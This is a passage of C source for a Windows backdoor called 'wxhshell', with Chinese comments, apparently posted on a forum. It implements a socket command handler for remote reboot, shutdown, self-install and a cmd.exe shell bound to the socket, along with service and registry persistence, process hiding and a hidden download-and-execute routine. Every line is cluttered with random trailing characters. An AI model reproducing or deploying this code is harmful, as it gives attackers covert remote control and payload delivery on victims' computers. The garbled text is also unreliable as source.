  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [=..#y!U  
  } 1 5rE|m^  
  else { Z`< +8e  
_mFb+8C  
    switch(cmd[0]) {  21w<8:Vg  
  I"Y?vj9]  
  // 帮助 Y@;bA=Du}  
  case '?': { /kNr5s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aD0w82s]J  
    break; ka"jv"z  
  } g/JAr<  
  // 安装 -+?0|>Nh  
  case 'i': { qH"0?<$9  
    if(Install()) N tg#-_]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 574 b]  
    else ZtDHN L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A5 8i}G9  
    break; z?FZu,h}  
    } `p'L3u5H-  
  // 卸载 Y5Ey%M m6  
  case 'r': { ZhM-F0;`  
    if(Uninstall()) ^3AJYu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Y>!xm   
    else u4fTC})4{C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C, jPr )6)  
    break; | ql!@M(p  
    } vT3LhN+1  
  // 显示 wxhshell 所在路径 I8`.e qV  
  case 'p': { iY.~N#Q  
    char svExeFile[MAX_PATH]; d|DIq T~{W  
    strcpy(svExeFile,"\n\r"); ZYu^Q6 b3  
      strcat(svExeFile,ExeFile); 0~BQ8O=+mn  
        send(wsh,svExeFile,strlen(svExeFile),0); zB 7wGl9  
    break; :tR%y"  
    } zXZy:SD  
  // 重启 :sM|~gT  
  case 'b': { ("mW=Ln  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h7(twct  
    if(Boot(REBOOT)) t1IC0'o-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HHtp.; L/  
    else { JEFW}M)UGv  
    closesocket(wsh); 0#<_:E  
    ExitThread(0); UDuKG\_J<y  
    } WDgp(Av!  
    break; nE::9Yh8z  
    } (}] 74Lc  
  // 关机 "ZT=[&2  
  case 'd': { v-OGY[|97  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $0cMrf@  
    if(Boot(SHUTDOWN)) =oiY'}%(i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); " P0o)g+{  
    else { z36nyo  
    closesocket(wsh); GpxGDN3?  
    ExitThread(0); L{ .r8wSrI  
    } 9YB~1 M  
    break; \^':(Gu4o  
    } 7+=j]+O  
  // 获取shell MS,H12h  
  case 's': { bYG}CO  
    CmdShell(wsh); L\hPw{)  
    closesocket(wsh); `1pri0!  
    ExitThread(0); )?Jj#HtW  
    break; /?2yo{F g  
  } %;^6W7  
  // 退出 f\/};a  
  case 'x': { 7_q"%xH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Uf_w o  
    CloseIt(wsh); a ,W5T8  
    break; "@`M>)*o  
    } 0ZPPt(7  
  // 离开 *4A.R&Vu  
  case 'q': { `Gsh<.w!7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t*Lo;]P  
    closesocket(wsh); \gIdg:"02  
    WSACleanup(); US> m1KsX  
    exit(1); !M3IuDN  
    break; :!{aey  
        } uiHlaMf  
  } `EWeJ(4Z@  
  } )Tb{O  
4p %`Lv  
  // 提示信息 S7N54X2JwL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1F[; )@  
} {n.g7S~  
  } HjnHl-  
T_YN^za(q  
  return; UPJgTN*  
} YXD1B`23  
Eb{TKz?  
// shell模块句柄 SOP= X-6f  
int CmdShell(SOCKET sock) }3)$aI_  
{ KJ'MK~g  
STARTUPINFO si; _jeub [  
ZeroMemory(&si,sizeof(si)); p'xj:bB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VFG)|Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .@=d I  
PROCESS_INFORMATION ProcessInfo; :i:Zc~%  
char cmdline[]="cmd"; wl(}F^:/`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =PO/Q|-v?  
  return 0; :q6hT<f;  
} &TC  
r Ld,Izi  
// 自身启动模式 M c@p~5!M  
int StartFromService(void) Or6'5e?N  
{ 9';0vrFeM  
typedef struct ts9N$?0:V  
{ %>24.i"l  
  DWORD ExitStatus; n,xK7icYNQ  
  DWORD PebBaseAddress; B_}=v$  
  DWORD AffinityMask; bM;tQ38*  
  DWORD BasePriority; /dWuHS  
  ULONG UniqueProcessId; r2U2pAy#  
  ULONG InheritedFromUniqueProcessId; ?:H9xJ_^  
}   PROCESS_BASIC_INFORMATION; sH+]lTSX6{  
Snh\Fgdz  
PROCNTQSIP NtQueryInformationProcess; eb( =V *  
/B}]{bcp$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fb-NG.Z#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LM*9b  
gs0,-)  
  HANDLE             hProcess; :%!SzI?  
  PROCESS_BASIC_INFORMATION pbi; Txp~&a03  
_VY]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %/S BJ  
  if(NULL == hInst ) return 0; Kz^aW  
@?gH3Y_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k^ZUOWmU|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b[BSUdCB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G%'h'AV"  
]=]'*Z%  
  if (!NtQueryInformationProcess) return 0; -,XS2[  
oD"fRBS+$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PT\5P&2o@  
  if(!hProcess) return 0; >8>.o[Q&  
!4*@H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^z)lEO  
#2cH.`ty  
  CloseHandle(hProcess); ;>Z#1~8  
>n` OLHg;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [a+?z6qI\}  
if(hProcess==NULL) return 0; j- A S {w  
b*p,s9k7  
HMODULE hMod; av`b8cGg  
char procName[255]; zb;2xTH+  
unsigned long cbNeeded; ;q$<]X_S)}  
6] <?+#uQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J'B;  
I s8|  
  CloseHandle(hProcess); \&e+f#!u  
HkrNh>^=  
if(strstr(procName,"services")) return 1; // 以服务启动 c/g(=F__[  
y`(z_5ClT  
  return 0; // 注册表启动 *w@>zkBl  
} E]ZM`bex&  
G&3j/5V  
// 主模块 4["}U1sG  
int StartWxhshell(LPSTR lpCmdLine) 0udE\/4!^  
{ TOBAh.1  
  SOCKET wsl; kdW i!Hp  
BOOL val=TRUE; 4|Y0 $(6o  
  int port=0; ?V7[,I1?  
  struct sockaddr_in door; +mF}j=k  
R[_7ab]A  
  if(wscfg.ws_autoins) Install(); Gg-<3z  
` 0\hm`  
port=atoi(lpCmdLine); xRaYm  
v`v+M4upC  
if(port<=0) port=wscfg.ws_port; 6qH o$#iT  
9k83wACry  
  WSADATA data; # ^%'*/z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R;;)7|;~  
+;*])N%q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]k,fEn(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PE4{;|a }  
  door.sin_family = AF_INET; [{Y$]3?}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KNK0w5  
  door.sin_port = htons(port); ("{AY?{{  
$s) ^zm~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j"YJ1R-5  
closesocket(wsl); Q |l93Rb`  
return 1; lGcHfW)Y  
} 67n1s  
c)$/Uu  
  if(listen(wsl,2) == INVALID_SOCKET) { C[x!Lf8'  
closesocket(wsl); qv,|7yw{  
return 1; OZISh?  
} tcRK\  
  Wxhshell(wsl); y:v0& 9L  
  WSACleanup(); #z5'5|3  
{AcKBi b  
return 0; *qq%)7  
MJ7!f+!5  
} J@R+t6$3O  
SSH/q/  
// 以NT服务方式启动 8:0l5cZE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >\>HRyt%  
{ yV`!Fq 1k  
DWORD   status = 0; DU[UGJg  
  DWORD   specificError = 0xfffffff; QDgOprha  
E^|b3G6T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IAtc^'l#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y RA[qc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5E.cJ{   
  serviceStatus.dwWin32ExitCode     = 0; AS8T!  
  serviceStatus.dwServiceSpecificExitCode = 0; Ky$ <WZs  
  serviceStatus.dwCheckPoint       = 0; 1x\%VtO>\b  
  serviceStatus.dwWaitHint       = 0; b"f4}b  
+J#H9>To!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *^NC5=A(d  
  if (hServiceStatusHandle==0) return; 0?sIod  
TuX#;!p6  
status = GetLastError(); lSbAZ6  
  if (status!=NO_ERROR) S:t7U %  
{ u`("x5sa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "+)ey> _  
    serviceStatus.dwCheckPoint       = 0; DE. Pw+5<.  
    serviceStatus.dwWaitHint       = 0; bu$5gGWVf  
    serviceStatus.dwWin32ExitCode     = status; %GHHnf%2Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; #b{otc)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LoTq2/  
    return; ['sIR+c%'O  
  } t(ZiQ<A  
}~A-ELe:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y`\/eX  
  serviceStatus.dwCheckPoint       = 0; .oSKSld  
  serviceStatus.dwWaitHint       = 0; @NV$!FB<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S'?XI@t[  
} (-~tb-  
|1t30_ /gS  
// 处理NT服务事件,比如:启动、停止 Nzr zLK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WM>9sJf  
{ d/* [t!   
switch(fdwControl) w0 "h,{  
{ m&; t;&#  
case SERVICE_CONTROL_STOP: `@`Q"J  
  serviceStatus.dwWin32ExitCode = 0; |7f}icXKur  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "e(OO/EZS  
  serviceStatus.dwCheckPoint   = 0; ss-Be  
  serviceStatus.dwWaitHint     = 0; e"2 wXd_}  
  { G q0~&6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,Q}/#/  
  } qk:F6kL\`  
  return;  snN1  
case SERVICE_CONTROL_PAUSE: Ujw ^j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \DfvNeF  
  break; Gz6FwU8L  
case SERVICE_CONTROL_CONTINUE: ){gOb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (hmasy6hM  
  break; &5zUk++  
case SERVICE_CONTROL_INTERROGATE: i 5-V$Qh  
  break; gA.G:1v  
}; W_kJb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YDDwvk H  
} ;rk}\M$+  
/'ybl^Km  
// 标准应用程序主函数 3`="4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g]d@X_ &D  
{ I.\u2B/?  
\yM[?/<  
// 获取操作系统版本 kQ4%J, 7e4  
OsIsNt=GetOsVer(); Ij4\*D!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ( XE`,#  
~A"ODLgU9  
  // 从命令行安装 tCA |sN  
  if(strpbrk(lpCmdLine,"iI")) Install(); {_Ke'" k  
d5bj$oH  
  // 下载执行文件 :*4yR46  
if(wscfg.ws_downexe) { Iy e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qQVqS7 t  
  WinExec(wscfg.ws_filenam,SW_HIDE); CZ1 tqAk-  
} u wf3  
d~28!E+  
if(!OsIsNt) { Hm4lR{A  
// 如果时win9x,隐藏进程并且设置为注册表启动 xb1)ZJH  
HideProc(); 8xL-j2w  
StartWxhshell(lpCmdLine); |F6C&GNYT  
} Ue-HO  
else ( 6r9y3'  
  if(StartFromService()) BHU(Hd  
  // 以服务方式启动 ts)0+x  
  StartServiceCtrlDispatcher(DispatchTable); Y B)1dzU  
else DY,Sfh;tp  
  // 普通方式启动 qr6WSBc  
  StartWxhshell(lpCmdLine); ZXr]V'Q?  
1!=$3]l0Lj  
return 0; xazh8X0P  
}
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只看该作者 1 发表于: 2006-10-10
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